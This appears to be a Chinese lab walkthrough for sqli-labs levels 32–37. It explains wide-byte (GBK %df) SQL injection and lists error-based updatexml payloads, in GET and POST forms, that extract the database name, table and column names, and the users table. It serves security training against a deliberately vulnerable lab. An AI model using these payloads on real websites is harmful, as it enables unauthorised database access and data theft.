当前位置: 首页 > web >正文

sqli-labs靶场32-37关(宽字节注入)

目录

前言

less32(宽字节注入)

less33(宽字节注入)

less34(POST型宽字节注入)

less35(数字型闭合宽字节)

less36(宽字节注入)

less37(POST型宽字节注入)



前言

宽字节注入是基于字节层的,所以在注入时,要用十六进制

\'——引号被转义,无法注入(\'对应十六进制为%5c%27

如果我们在传入的引号前面再加上一个字符能与服务端加的转义符\一同被解析为一个完整的宽字符,那么转义符\就被吃掉了,留下引号用于注入。这个字符我们常用%df

%df%5c%27——'

所以我们只需要传入参数%df%27,后端检测到%27(引号)后,就会在%27前面加上%5c(\)

即%df%5c%27——',造成注入



    less32(宽字节注入)

    直接传参引号不会报错,因为被转义了,利用宽字节注入:

    ?id=%df%27

    利用报错信息,做报错注入:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    错误pyload:

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+注意这里security的引号不能用宽字符注入了,会导致乱码,语法错误。

    正确pyload:

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    (这里的limit 3,1表示第四张表,忽略前三个表)

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less33(宽字节注入)

    这道题的pyload和less32一模一样:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less34(POST型宽字节注入)

    这关宽字节注入是POST型传参的,先抓包:

    %df'——报错,判断为单引号闭合……

    利用报错注入:

    uname=%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名

    uname=%df' or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据



    less35(数字型闭合宽字节)

    ?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=1 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less36(宽字节注入)

    pyload和less32一模一样:

    ?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名

    ?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据



    less37(POST型宽字节注入)

    pyload和less34一样:

    uname=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名

    uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据



    http://www.xdnf.cn/news/10466.html

    相关文章:

  1. 历年苏州大学计算机保研上机真题
  2. 语音转文字工具
  3. Git 入门学习教程
  4. Redis 缓存穿透、缓存击穿、缓存雪崩详解与解决方案
  5. Ansible 进阶 - Roles 与 Inventory 的高效组织
  6. uni-app学习笔记十八--uni-app static目录简介
  7. YOLOv5-入门篇笔记
  8. 算法打开13天
  9. 焦虑而烦躁的上午
  10. HTTPS
  11. VeriFree:无需Verifier的通用RL框架
  12. 【GPT入门】第40课 vllm与ollama特性对比,与模型部署
  13. wsl安装linux
  14. 测试总结(二)
  15. Python 验证码识别(使用pytesseract库)
  16. JVM——JVM运行时数据区的内部机制是怎样的?
  17. unix/linux source 命令,在当前的 Shell 会话中读取并执行指定文件中的命令
  18. 【AI学习】检索增强生成(Retrieval Augmented Generation,RAG)
  19. Vue拖拽组件:vue-draggable-plus
  20. 神经网络与Transformer详解
  21. Ansible 剧本精粹 - 编写你的第一个 Playbook
  22. Spring Boot 4.0实战:构建高并发电商系统
  23. 通过内核寄存器排除HardFault
  24. uni-app学习笔记十七-css和scss的使用
  25. 振动力学:无阻尼单自由度系统
  26. 【数据结构】顺序表和链表详解(上)
  27. 图文详解Java并发面试题
  28. 基于Canvas实现抽奖转盘
  29. 打打基础 | 从翻转链表到寄存器、汇编与内存
  30. 智慧新基建数字孪生,绘就桥梁运维新画卷